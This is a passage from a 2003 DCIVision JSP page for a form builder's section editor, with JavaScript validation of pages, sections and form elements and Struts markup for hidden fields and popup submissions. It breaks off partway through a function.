<%
/*
 * @(#)EditFormSection.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  EditFormSection.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.109.2.16 $
*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSectionForm" scope="request" class="com.dcivision.form.web.MaintFormSectionForm"/>

<script language="Javascript">
<!--

function opAddFields(nn) {
  var intValue;
  intValue=parseInt(document.maintFormSectionForm.elements['newField_'+nn].value);  
  document.maintFormSectionForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintFormSectionForm.elements['newElementSeq_'+nn].value=document.maintFormSectionForm.elements['listSize_'+nn].value;
  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintFormSectionForm.elements['newField_display_'+nn].focus();
    return(false);
  }    
  if (parseInt(document.maintFormSectionForm.elements['newField_display_'+nn].value)<1){
    alert("<bean:message key='form.message.numeric_less_than_1'/>");
    document.maintFormSectionForm.elements['newField_display_'+nn].focus();
    return(false);
  }
  var listSize = parseInt(document.maintFormSectionForm.elements['listSize_'+nn].value, 10);
  document.maintFormSectionForm.submit();
  return(false);
}
function opAddFieldsMid(nn,j) {
  document.maintFormSectionForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintFormSectionForm.elements['newElementSeq_'+nn].value=j;
  document.maintFormSectionForm.elements['newField_'+nn].value=1;
  var listSize = parseInt(document.maintFormSectionForm.elements['listSize_'+nn].value, 10);
  document.maintFormSectionForm.submit();
  return(false);
}

function OpCustSave() {
  document.maintFormSectionForm.status.value = "<%=FormRecord.FORM_STATUS_PENDING%>";
  if (!check()){return false;}
  OpSave();	
  return (false);
}
function OpCustRelease() {
  if (!confirm("<bean:message key='form.message.confirm_release_form'/>")) {
    return(false);
  }
  document.maintFormSectionForm.navMode.value = "<%=GlobalConstant.NAV_MODE_EDIT%>";
  document.maintFormSectionForm.status.value = "<%=FormRecord.FORM_STATUS_RELEASED%>";
  if (!check()){return false;}
  OpSave();	
  return (false);
}
function OpCustReleaseOnly() {
  if (!confirm("<bean:message key='form.message.confirm_release_form'/>")) {
    return(false);
  }
  document.maintFormSectionForm.navMode.value = "<%=GlobalConstant.NAV_MODE_EDIT%>";
  document.maintFormSectionForm.isRelease.value = "true";
  OpSave();	
  return (false);
}
function check() {	
  var pageListSize = parseInt(document.maintFormSectionForm.pageListSize.value, 10);
  var elementTotal = parseInt(document.maintFormSectionForm.lastlistSizeTotal.value, 10);	
  var FORM_PAGE = "<%=FormElementType.ELEMENT_PAGE%>";
  var FORM_SECTION = "<%=FormElementType.ELEMENT_SECTION%>";
  var maintForm = document.maintFormSectionForm;

  var deleteFlag = 0;	
  var hasOnePage = false;
  var hasOneSection = false;
  var hasOneElement = false;

  var deleteEleCheckNum = 0;
  var deletePageNum = 0;
  var pageElementNo = 0;
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var unRightfulChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>"; // Extract to canstant variable or several variable and add other unrightful char if needed.

  for (var j = 1; j <= pageListSize ; j++){ 
    var hasPage = false;
    var hasSection = false;
    var hasElement = false;	
    var pageID = maintForm.elements['formPageID_' + j].value;
    var elementNo = parseInt(maintForm.elements['listSize_' + pageID].value,10);
 
    if (maintForm.elements['formPageTitle_'+pageID].value=="" || trim(maintForm.elements['formPageTitle_'+pageID].value)== ""){
      alert("<bean:message key='form.label.page'/> " +j+ " <bean:message key='form.message.is_required'/>");
      return false;
    }
    
    if (!validateSpecialChar(maintForm.elements['formPageTitle_' + pageID], unRightfulChars, "<bean:message key='form.label.page'/> " + j + " " + errorMessage)) return (false);
    
    
    
    //because the first can not be remove so set the hasPage = true, and set the hasSection = false.
    if(j == 1){
      hasPage = true;
      hasSectin = false;
    }    
        	
  	//check whether tick the REMOVE check box.
  	if ( j > 1 && !document.maintFormSectionForm.elements['delete_'+ pageID].checked  ){			    
      hasPage = true;			
      hasSection = false;
      hasOneSection = false;
      hasElement = false;
      hasOneElement = false;
    } else if(hasOnePage){ //if has page befor the current page, so set the hasPage = true and hasOneSection =   true.
      hasPage = true;
      hasSection = false;
      hasOneSection = true;
      hasElement = false;
      hasOneElement = true;
    }	    
    //check whether tick the DELETE ALL check box.
    if (maintForm.elements['deleteAll_'+pageID].checked){
      hasPage = false;
  	  deleteFlag ++;
  	  deletePageNum ++;
  	  deleteEleCheckNum +=elementNo ;
  	  continue; //if selected deleteAll, then must not check the follow elements & sections.    		
  	}
  	  
    if (maintForm.elements['delete_'+pageID].checked){
      deletePageNum ++;
    }
      
    //handle the new add page , section & element.
    for (var k = 0; k < elementNo; k++){
     var formElementName = trim(maintForm.elements['formElementName_'+ pageID + '_'+ k ].value);
     var formElementType = maintForm.elements['formElementType_'+ pageID + '_'+ k ].value;      
	  //check the element Name
	  if(maintForm.elements['formElementName_'+ pageID + '_'+ k ].value == "" 
			  || trim(maintForm.elements['formElementName_'+ pageID + '_'+ k ].value) == "" ) {
		  if(!maintForm.elements['delete_' + pageID + '_' + k].checked){
	      alert("<bean:message key='form.label.page'/>"+(j)+" : "+"<bean:message key='form.message.element_name'/> "+(k+1)+" <bean:message key='form.message.is_required'/>");	
	      maintForm.elements['formElementName_' + pageID + '_' + k].focus();	
	      return false;
	    }
	  }
	  /* Commented by Brook.Huang for BUG:EIP-1989.
       * Ignore checking duplicate element name.
	  if(!maintForm.elements['delete_' + pageID + '_' + k].checked){
	    for(var m = 0; m < k; m++){
	      if (maintForm.elements['delete_' + pageID + '_' + m].checked) {continue;}
	      var newFormElementName = trim(maintForm.elements['formElementName_'+ pageID + '_'+ m ].value);
	      var newFormElementType = maintForm.elements['formElementType_'+ pageID + '_'+ m ].value;
	      if(formElementName == newFormElementName && formElementType == newFormElementType){
	         alert("<bean:message key='form.label.page'/>"+(j)+" : "+"<bean:message key='form.message.element_name'/> "+(k+1)+" and " +"<bean:message key='form.message.element_name'/> "+(m+1)+" <bean:message key='form.message.element_select_option_name_can_not_have_same_name'/> ");	
	         return false;
          }
	    }
	  }
	  */
	  if (!validateSpecialChar(maintForm.elements['formElementName_'+ pageID + '_'+ k ], unRightfulChars, "<bean:message key='form.label.page'/>" + j + " : <bean:message key='form.message.element_name'/> " +( k+1) + "  " + errorMessage)) return (false);    
	    
	  //if it is Form Page. 
	  if (FORM_PAGE == (maintForm.elements['formElementType_'+ pageID + '_'+ k ].value) && !maintForm.elements['delete_'+ pageID + '_'+ k ].checked ) {

 	    //hadle two border upon pages 
  	    if( hasPage && !hasOneSection ) {
           alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.page_has_not_section'/>" );
           return false;
         }
	      
	    if( !maintForm.elements['delete_'+ pageID + '_'+ k ].checked ){
	      hasPage = true;
	      hasSection = false;
	      hasOneSection = false;
	      pageElementNo = k;
	    }	      	    
	    // if it is Form Section.
	  } else if (FORM_SECTION == (maintForm.elements['formElementType_'+ pageID + '_'+ k ].value)) {
	    if( !maintForm.elements['delete_'+ pageID + '_'+ k ].checked ){
	      hasSection = true;
	      hasOneSection = true;
        } else if (hasOneSection){
	      hasSection = true;
        }
        
        if( !hasPage && hasSection ){
          alert("<bean:message key='form.label.page'/> " + (j) + " <bean:message key='form.message.must_not_be_delete'/>");
          return false;
        }
              
      // if it is Form Element.  
      } else if ( !maintForm.elements['delete_'+ pageID + '_'+ k ].checked ) {
         hasElement = true;
         hasOneElement = true;
        if (!hasPage || !hasSection) {   
          if (FORM_PAGE == (maintForm.elements['formElementType_'+ pageID + '_'+ k ].value)){
            alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.page_has_not_section'/>" );
          }else{
            alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.page_section'/>" );
          }
          return false;
        }
        
        // if check box,radio box,select box then Option is required .
        var type = maintForm.elements['formElementType_'+ pageID + '_'+ k ].value;	      
        if ( type=="<%=FormElementType.ELEMENT_SELECTION_BOX%>" 
              || type=="<%=FormElementType.ELEMENT_RADIO_BUTTON%>" 
              || type=="<%=FormElementType.ELEMENT_CHECK_BOX%>"){
              
          // Validate the multiple type element's value.
          if(maintForm.elements['formElementID_'+ pageID + '_'+ k ].value == "" || maintForm.elements['formElementID_'+ pageID + '_'+ k ].value == "null"){
            alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.elements_selection_option_is_required'/>");
            return false;
           }
           var optionsCount = maintForm.elements['selectionOptionNum_'+ pageID + '_'+ k ].value;
           if (type=="<%=FormElementType.ELEMENT_RADIO_BUTTON%>") {
             // Validate the options of current multiple element.
	        if ("" == optionsCount || "null" == optionsCount
	        		|| optionsCount < 2 ) { // Options numbers must big than 1.
	        	alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.radio_subt_two'/>" );
	        	return (false);
	        }
           } else if (type=="<%=FormElementType.ELEMENT_SELECTION_BOX%>") {
             if ("" == optionsCount || "null" == optionsCount
	        		|| optionsCount < 2 ) { // Options numbers must big than 1.
	        	alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.selection_subt_two'/>" );
	        	return (false);
	        }
           } else if (type=="<%=FormElementType.ELEMENT_CHECK_BOX%>") {
             if ("" == optionsCount || "null" == optionsCount
	        		|| optionsCount < 2 ) { // Options numbers must big than 1.
	        	alert("<bean:message key='form.label.page'/>" + (j) + " : <bean:message key='form.message.element_name'/> " + (k+1) + " <bean:message key='form.message.check_subt_two'/>" );
	        	return (false);
	        }
           }
        }
      
      }   
      
      if (maintForm.elements['delete_'+ pageID + '_'+ k ].checked){
        deleteEleCheckNum++;
      }       
    }

    // remove all elements from a page  && maintForm.elements['delete_'+ pageID + '_'+ (k-1) ].checked
    if(hasPage && !hasSection  && pageElementNo > 0){
  	  alert("<bean:message key='form.label.page'/>" + (j) + ": <bean:message key='form.message.element_name'/> " + (pageElementNo + 1) + " <bean:message key='form.message.is_page_must_have_a_section'/>");
	    //alert("<bean:message key='form.label.page'/>" + (j) + ": <bean:message key='form.message.element_name'/> " + (k) + " <bean:message key='form.message.page_has_not_section'/>" );	    
	  return false;
	} 
  if(hasPage && hasSection && !hasOneElement){
      alert("<bean:message key='form.message.at_least_one_element_must_not_be_delete'/>");
      return false;
  }
	if(hasPage && !hasSection){
	  alert("<bean:message key='form.label.page'/>" + (j) + " <bean:message key='form.message.page_has_not_section'/>" );	    
	  return false;
	}
	hasOnePage = hasPage;
  }   		    
  if (deleteFlag == pageListSize){
	alert("<bean:message key='form.message.at_least_one_page_must_not_be_delete'/>");
	return(false);
  }
  if (deleteEleCheckNum >= elementTotal && deletePageNum >= pageListSize-1){
    alert("<bean:message key='form.message.at_least_one_page_must_not_be_delete'/>");
    return(false);
  }
  
  if (maintForm.deleteAllandDisabledPageNo.value!=""){  // delete All checkbox is visibled.
    var valAry = maintForm.deleteAllandDisabledPageNo.value.split("|");    
  	for(var mm=0; mm<valAry.length;mm++){
  	  if(valAry[mm]==""){
        continue;
      }
      var ll = document.maintFormSectionForm.elements['listSize_' + valAry[mm]].value;
	  for (var x = 0; x < ll; x++){
		document.maintFormSectionForm.elements['delete_' + valAry[mm] + '_' + x].disabled = false;
	  }
    }		
 		
  }
	
  return true; 
}

function putMandatoryValue(MandName,requiredFlag) {
  if(requiredFlag){
    eval('document.maintFormSectionForm.'+MandName+'.checked=true');
    return(false);
  }else{
    eval('document.maintFormSectionForm.'+MandName+'.checked=false');
    return(false);
  }
}
function onChangeDeleteAll(nn){
  var ii = document.maintFormSectionForm.elements['listSize_' + nn].value;
  var deleteAllandDisabledPageNo = document.maintFormSectionForm.elements['deleteAllandDisabledPageNo'].value;  //the delete page'value set in hidden textbox.
  if(document.maintFormSectionForm.elements['deleteAll_' + nn].checked){
    for (var k = 0; k < ii; k++){
	  document.maintFormSectionForm.elements['delete_' + nn + '_' + k].checked = true;
	  document.maintFormSectionForm.elements['delete_' + nn + '_' + k].disabled = true;
	  document.maintFormSectionForm.elements['deleteAllandDisabledPageNo'].value = deleteAllandDisabledPageNo + "|" + nn;
    }
  }else{
    for (var k = 0; k < ii; k++){
      document.maintFormSectionForm.elements['delete_' + nn + '_' + k].checked = false;
      document.maintFormSectionForm.elements['delete_' + nn + '_' + k].disabled = false;
      if(deleteAllandDisabledPageNo.indexOf(nn) > -1){
        deleteAllandDisabledPageNo = deleteAllandDisabledPageNo.substring(0,deleteAllandDisabledPageNo.indexOf("|"+nn)) + deleteAllandDisabledPageNo.substring(deleteAllandDisabledPageNo.indexOf("|"+nn) + nn.length +1);
      }   
      document.maintFormSectionForm.elements['deleteAllandDisabledPageNo'].value = deleteAllandDisabledPageNo; 
    }
  }
}
function numericCheck(which,pageID){
  var intValue = which.value;
  if (isNaN(intValue) || intValue<0 ) {
    alert("<bean:message key='form.message.should_be_a_positive_integer'/>");
    return false;
  }else{
    document.maintFormSectionForm.elements['newField_'+pageID].value = intValue
  }  
}
function checkMultiple(pageID, seqNo){
  var frm = document.maintFormSectionForm;
  var endRow = "endRow_"+pageID+"_"+seqNo;
  var multiple = "multi_"+pageID+"_"+seqNo;
  var preMultiple = "multi_"+pageID+"_"+(parseInt(seqNo)-1);
  var preType = "formElementType_"+pageID+"_"+(parseInt(seqNo)-1);
  var preEndRow = "endRow_"+pageID+"_"+(parseInt(seqNo)-1);
  var nextMultiple = "multi_"+pageID+"_"+(parseInt(seqNo)+1);
  var nextType = "formElementType_"+pageID+"_"+(parseInt(seqNo)+1);
  var nextEndRow = "endRow_"+pageID+"_"+(parseInt(seqNo)+1);
  var currType = "formElementType_"+pageID+"_"+seqNo;
  
  if(frm.elements[endRow].checked){
    if (frm.elements[preEndRow] && frm.elements[preEndRow].checked ||
        (frm.elements[preEndRow] && ("<%=FormElementType.ELEMENT_PAGE%>" == frm.elements[preType].value || "<%=FormElementType.ELEMENT_SECTION%>" == frm.elements[preType].value) ) ){
      if (frm.elements[currType].value!="<%=FormElementType.ELEMENT_PAGE%>" && 
          frm.elements[currType].value!="<%=FormElementType.ELEMENT_FILE%>" && 
          frm.elements[currType].value!="<%=FormElementType.ELEMENT_IMAGE%>" && 
          frm.elements[currType].value!="<%=FormElementType.ELEMENT_LABEL%>" && 
          frm.elements[currType].value!="<%=FormElementType.ELEMENT_CURRENT_DATE%>" && 
          frm.elements[currType].value!="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){
        frm.elements[multiple].disabled=false;
      }
    }   
    if (frm.elements[nextMultiple] && frm.elements[nextEndRow].checked && "<%=FormElementType.ELEMENT_PAGE%>" != frm.elements[nextType].value && "<%=FormElementType.ELEMENT_SECTION%>" != frm.elements[nextType].value){
      if (frm.elements[nextType].value!="<%=FormElementType.ELEMENT_PAGE%>" && 
          frm.elements[nextType].value!="<%=FormElementType.ELEMENT_FILE%>" && 
          frm.elements[nextType].value!="<%=FormElementType.ELEMENT_IMAGE%>" && 
          frm.elements[nextType].value!="<%=FormElementType.ELEMENT_LABEL%>" && 
          frm.elements[nextType].value!="<%=FormElementType.ELEMENT_CURRENT_DATE%>" && 
          frm.elements[nextType].value!="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){
        frm.elements[nextMultiple].disabled=false;
      }
    }   
  }else {   
    frm.elements[multiple].checked=false;
    frm.elements[multiple].disabled=true;
    if (frm.elements[nextMultiple]){     
      frm.elements[nextMultiple].checked=false;
      frm.elements[nextMultiple].disabled=true;
    }
  }
}
function OpPriviewForm(){
  // popup a window and submit the form.  
  var oldTarget = "";
  var oldNavMode= "";
  var oldOpMode= "";
  var sOptions = "";
  var sPopupPath = "";
  var width = 800;
  var height = 600;
  var frm = document.maintFormSectionForm;
  
  if (!check()){return false;}  
  oldTarget=frm.target;
  oldAction=frm.action;  
  oldNavMode=frm.navMode.value;
  oldOpMode=frm.opMode.value;
  sOptions = 'location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no, width=800, height=600, left=80, top=80';  
  DCIVisionForm = OpenCenteredPopup(sPopupPath, "DCIVisionForm", width, height, sOptions);
  frm.target = "DCIVisionForm"; 
  frm.navMode.value="<%=GlobalConstant.NAV_MODE_PREVIEW%>";
  frm.opMode.value="";
  frm.preview.value="T";
  frm.submit();
  frm.target=oldTarget;
  frm.action=oldAction;
  frm.navMode.value=oldNavMode;  
  frm.opMode.value=oldOpMode;     
  return (false);
}
-->
</script>
<%
  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageList");
  if (request.getAttribute("formPageList")!=null) {
    pageListSize = formPageList.size();
  }
  String[][] PULLDOWN_MAP = {
                              {"form.label.field_type_T", FormElementType.ELEMENT_TEXT},
                              {"form.label.field_type_A", FormElementType.ELEMENT_TEXT_AREA},
                              {"form.label.field_type_S", FormElementType.ELEMENT_SELECTION_BOX},
                              {"form.label.field_type_R", FormElementType.ELEMENT_RADIO_BUTTON},
                              {"form.label.field_type_C", FormElementType.ELEMENT_CHECK_BOX},
                              {"form.label.field_type_F", FormElementType.ELEMENT_FILE},
                              {"form.label.field_type_P", FormElementType.ELEMENT_PASSWORD},
                              {"form.label.field_type_L", FormElementType.ELEMENT_LABEL},
                              {"form.label.field_type_I", FormElementType.ELEMENT_IMAGE},
                              {"form.label.field_type_D", FormElementType.ELEMENT_DATE_PICKER},
                              {"form.label.field_type_M", FormElementType.ELEMENT_TIME_PICKER},
                              {"form.label.field_type_V", FormElementType.ELEMENT_USER_PICKER},
                              {"form.label.field_type_U", FormElementType.ELEMENT_CURRENT_DATE},
                              {"form.label.field_type_G", FormElementType.ELEMENT_CURRENT_LOGIN},
                              {"form.label.page", FormElementType.ELEMENT_PAGE},
                              {"form.label.section", FormElementType.ELEMENT_SECTION}
                            };
  String[][] PULLDOWN_MAP_PAGE = { {"form.label.page", FormElementType.ELEMENT_PAGE}};                          
  String[][] PULLDOWN_MAP_SECTION = { {"form.label.section", FormElementType.ELEMENT_SECTION}};
  String[][] PULLDOWN_MAP_ELEMENT = { {"form.label.field_type_T", FormElementType.ELEMENT_TEXT},
                              {"form.label.field_type_A", FormElementType.ELEMENT_TEXT_AREA},
                              {"form.label.field_type_S", FormElementType.ELEMENT_SELECTION_BOX},
                              {"form.label.field_type_R", FormElementType.ELEMENT_RADIO_BUTTON},
                              {"form.label.field_type_C", FormElementType.ELEMENT_CHECK_BOX},
                              {"form.label.field_type_F", FormElementType.ELEMENT_FILE},
                              {"form.label.field_type_P", FormElementType.ELEMENT_PASSWORD},
                              {"form.label.field_type_L", FormElementType.ELEMENT_LABEL},
                              {"form.label.field_type_I", FormElementType.ELEMENT_IMAGE},
                              {"form.label.field_type_D", FormElementType.ELEMENT_DATE_PICKER},
                              {"form.label.field_type_M", FormElementType.ELEMENT_TIME_PICKER},
                              {"form.label.field_type_V", FormElementType.ELEMENT_USER_PICKER},
                              {"form.label.field_type_U", FormElementType.ELEMENT_CURRENT_DATE},
                              {"form.label.field_type_G", FormElementType.ELEMENT_CURRENT_LOGIN}
                            };
  String [][] COLUMNHEADER ={
                             {"forum.columnheader.discussion_object_name","name"},
                             {"forum.columnheader.discussion_object_type ","type"},
                             {"common.label.mandatory","mandatory"}
                             };                                                                                   
%>
<html:form action="form/MaintFormSectionFormElement" styleClass="form-style-2">
<html:javascript formName="maintFormSectionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
 
 <%
   String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right", FormElement.LABEL_POSITION_RIGHT}};
   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode =  request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.RECORD_PENDING.equals(maintFormSectionForm.getStatus())) {
     bIsPending = true;
   } else {
     bTextOnly = true;
   }
   // set the formRecordUpdateCount into session
   if (!Utility.isEmpty(request.getAttribute("formRecordUpdateCount"))) {
     session.setAttribute("formRecordUpdateCount",request.getAttribute("formRecordUpdateCount"));
   }
   // set the formRecordID into session
   if (!Utility.isEmpty(request.getAttribute("formRecordID"))) {
     session.setAttribute("formRecordID",request.getAttribute("formRecordID"));
   }
   if (!Utility.isEmpty(request.getAttribute("formRecordStatus")) && !"null".equals(request.getAttribute("formRecordStatus").toString())) {
     session.setAttribute("formRecordStatus",request.getAttribute("formRecordStatus"));
   }
   List formElementList = null;
      
  int tmpListTotal=0;
  int listSize=0;
  int lastlistSizeTotal=0;
  int newFieldSize=0;
  int sectionListSize = 0;
  int newElementSeq = 0;
  int formObjectSize = 0;
  Integer opNewField=new Integer(0);
  String formPageID = null;
  
  String selectWidth ="width:83";
  if (((Locale)session.getAttribute(org.apache.struts.Globals.LOCALE_KEY)).equals(Utility.getLocaleByString(GlobalConstant.LOCALE_STR_EN_US))) {
    selectWidth ="width:163.25";
  }
  FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer,conn);
  boolean hasElement = formSubmissionManager.hasElement(session.getAttribute("formRecordID").toString());
%> 

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "MaintFormRecord.do?navMode=E&ID="+session.getAttribute("formRecordID");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>

<input type='hidden' name='formRecordUpdateCount' value='<%=session.getAttribute("formRecordUpdateCount")%>'/>
<input type='hidden' name='formPageID' value='<%=request.getAttribute("formPageID")%>'/>
<input type='hidden' name='formRecordID' value='<%=session.getAttribute("formRecordID")%>'/>
<input type='hidden' name='formGroupID' value='<%=session.getAttribute("formGroupID")%>'/>
<input type='hidden' name='fieldName' />
<input type='hidden' name='isRelease'/>
<input type="hidden" name="preview" value="" />
<script language='javascript'>
<!--
function onSave(n,i){
  
  var Sel;
  var MandValue;
  var DeleteValue; 
  
  var SelectValue=document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value;
  window.ID =eval("document.maintFormSectionForm.elements['formElementID_'+n+'_'+i]");
  window.formElementName =eval("document.maintFormSectionForm.elements['formElementName_'+n+'_'+i]");
  window.formElementType = eval("document.maintFormSectionForm.elements['formElementType_'+n+'_'+i]");
  window.savedFlag = eval("document.maintFormSectionForm.elements['savedFlag_'+n+'_'+i]");
  window.selectionOptionNum = eval("document.maintFormSectionForm.elements['selectionOptionNum_'+n+'_'+i]");
  
  if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_PAGE%>" || 
      document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_SECTION%>" || 
      document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_IMAGE%>" || 
      document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_LABEL%>" || 
      document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_CURRENT_DATE%>" || 
      document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){           

    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].checked=false;
    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].disabled=true;    
  }else{ 
    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].disabled=false;
  }
  if (SelectValue=="<%=FormElementType.ELEMENT_CURRENT_DATE%>"){
    if (document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value==""){
      document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value="<bean:message key='<%="form.label.field_type_U"%>'/>";   
    }
  }
  if (SelectValue=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){
    if (document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value==""){
      document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value="<bean:message key='<%="form.label.field_type_G"%>'/>";   
    }
  } 
  var TextValue=document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value;    
  if (document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].checked==true)
    MandValue=1;   
  else
    MandValue=0;  
  if (document.maintFormSectionForm.elements['delete_'+n+'_'+i].checked==true)
    DeleteValue=1; 
  else
    DeleteValue=0; 
 
 // popup a window and submit the form.  
  var oldTarget = "";
  var oldNavMode= "";
  var sOptions = "";
  var sPopupPath = "";
  var width = 800;
  var height = 600;
  
  oldTarget=document.maintFormSectionForm.target;
  oldAction=document.maintFormSectionForm.action;    
  sOptions = 'location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no, width=800, height=600, left=80, top=80';
  document.maintFormSectionForm.fieldName.value = TextValue;
  
  if (document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value=="" || document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value=="null"){    
    if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_SECTION%>"){
       document.maintFormSectionForm.action="MaintFormSection.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&opMode=&formPageID=<%=request.getAttribute("formPageID")%>&ID=";
    }else if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_PAGE%>"){
       //sPopupPath="MaintFormPage.do";
       //document.maintFormSectionForm.action="MaintFormPage.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&ID=";
    }else{
       document.maintFormSectionForm.action="MaintFormElement.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&formPageID=<%=request.getAttribute("formPageID")%>&ID=";
    }  
    if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value!="<%=FormElementType.ELEMENT_PAGE%>"){
    	window.open(sPopupPath, "DCIVisionForm", sOptions);
        document.maintFormSectionForm.target = "DCIVisionForm"; 
        document.maintFormSectionForm.submit();
        document.maintFormSectionForm.target=oldTarget;
        document.maintFormSectionForm.action=oldAction;
    }
    
  }else{
    if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_SECTION%>"){
       if("T"==document.maintFormSectionForm.elements['savedFlag_'+n+'_'+i].value){
          document.maintFormSectionForm.action="MaintFormSection.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&opMode=&formPageID=<%=request.getAttribute("formPageID")%>&ID=";
        }else{
          document.maintFormSectionForm.action="MaintFormSection.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=E&opMode=&formPageID="+n+"&ID="+document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value;
       }
    }else if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="<%=FormElementType.ELEMENT_PAGE%>"){
